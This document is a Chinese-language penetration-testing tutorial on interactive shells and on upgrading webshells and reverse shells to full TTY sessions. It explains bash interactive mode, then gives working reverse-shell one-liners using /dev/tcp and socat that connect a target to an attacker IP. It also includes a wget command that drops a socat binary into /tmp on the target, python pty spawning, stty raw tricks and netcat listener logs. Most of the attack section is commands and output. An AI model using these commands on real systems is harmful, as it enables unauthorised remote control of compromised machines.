交互式shell
什么是交互式shell
交互式模式就是shell等待用户的输入,并且执行用户提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退。当用户签退后,shell也终止了。
shell也可以运行在另外一种模式:非交互式模式。在这种模式下,shell不与用户进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾,shell也就终止了。
最常见的交互式shell,就是我们利用虚拟机登录Linux系统时的那个等待登录界面
系统在等待我们键入登录的用户名和密码,这就是一种交互式shell.
我们拿到的大多数webshell都是非交互式shell,能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念。当我们想使用vim、top、ftp等命令时,webshell就无能为力了。
只要执行bash命令的时候,不带有“选项以外的参数”或者-c选项,就会启动一个交互式shell。
通常来说,用于执行脚本的shell都是“非交互式”的,但我们也有办法把它启动为“交互式”shell,方法就是在执行bash
命令时,添加-i
选项:
[chen@localhost Temp]$ bash -c "echo $-"
hBc
[chen@localhost Temp]$ bash -i -c "echo $-"
himBHc
PS : echo $-时包含i 就说明开启了一个interactive shell
实现交互式shell的几种方式
https://saucer-man.com/information_security/233.html
bash -i 存在的问题
一般我们都会使用nc来接收反弹来的shell,只需要在目标上(以linux为例)执行:
bash -i >& /dev/tcp/192.168.2.134/4444 0>&1
本地接收一下就ok了,但是反弹回来的shell,或多或少都会存在问题,比如当我想使用top命令时就会提示没有 tty。简单的来说就是没有上下文环境,这样的话,vim,sudo等操作都做不了
C:Usersw5023
λ nc -lvvp 4444
listening on [any] 4444 ...
connect to [192.168.2.134] from DESKTOP-IBUUT6H.lan [192.168.2.134] 30688
ubuntu@ubuntu:~$ whoami
whoami
ubuntu
ubuntu@ubuntu:~$ top
top
top: failed tty get
ubuntu@ubuntu:~$ tty
tty
not a tty
python pty
在’bash -i’反弹回来的shell的基础上,执行如下命令启动python交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
可以实现简单的tty,但是这种方式有个问题,当我们ctrl+C的时候,所有连接都会断掉,又需要重新来一遍,而且vim虽然可以用,也有点问题,同时没有记录,无法使用上方向键执行上条命令。
升级nc为完全交互
整个流程是在第一步的基础上,但是需要用到的工具在linux上,所以把攻击机切换为linux。
现在攻击机和目标机分别为:
攻击机 Linux 192.168.81.160
目标机 Linux 192.168.81.162
简单把反弹一个完全交互shell的过程写出来:
# 攻击机本地执行
# 首先检查当前终端和STTY信息
$ echo $TERM
$ stty -a
# nc开启监听
$ nc -lvvp 4444
# 目标机执行
$ bash -i >& /dev/tcp/192.168.81.160/4444 0>&1
# 此时攻击机已经获取到了bash
# 接下来执行
$ python -c 'import pty; pty.spawn("/bin/bash")' //启用python交互式
# 把它丢到后台挂起
$ ctrl + z
# 重置stty,也就意味着你看不到输入的内容
$ stty raw -echo
# 把后台挂起的程序调回前台
$ fg
# 完全刷新终端屏幕
$ reset
# 接下来设置环境变量,根据第一步得到的环境变量来设置
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 行数 columns 列数
到这里,就可以得到一个完美的shell了。
socat获取pty
socat是类Unix系统下的一个工具,可以看作是 nc 的加强版。我们可以使用socat来传递完整的带有tty的TCP连接。缺点也很明显,只能在linux下面运行
下载地址:https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat
使用起来也很简单。
攻击机:
# 首先安装
$ sudo apt install socat
# 执行
$ socat file:`tty`,raw,echo=0 tcp-listen:4444
目标机:
# 把socat上传到目标机器上或者直接下载
$ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
# 运行
$ chmod +x /tmp/socat
$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.81.160:4444
这种方式基本和ssh类似,ctrl+C也不会直接断开。
script获取pty
我们可以使用 Linux 系统下的 script
命令,在弹回来的 shell 下创建一个带有 tty 的 shell, 这样就可以勉强使用一下 top
和 vim
:
$ script /dev/null
如果不加 /dev/null
的话,会在当前路径下生成一个名字是 typescript
的文件,记录着在 script 生命周期里你执行的所有命令和结果。
C:Usersw5023
λ nc -lvvp 4444
listening on [any] 4444 ...
connect to [192.168.2.134] from DESKTOP-IBUUT6H.lan [192.168.2.134] 30567
ubuntu@ubuntu:~$ tty
tty
not a tty
ubuntu@ubuntu:~$ script /dev/null
script /dev/null
Script started, file is /dev/null
ubuntu@ubuntu:~$ tty
tty
/dev/pts/1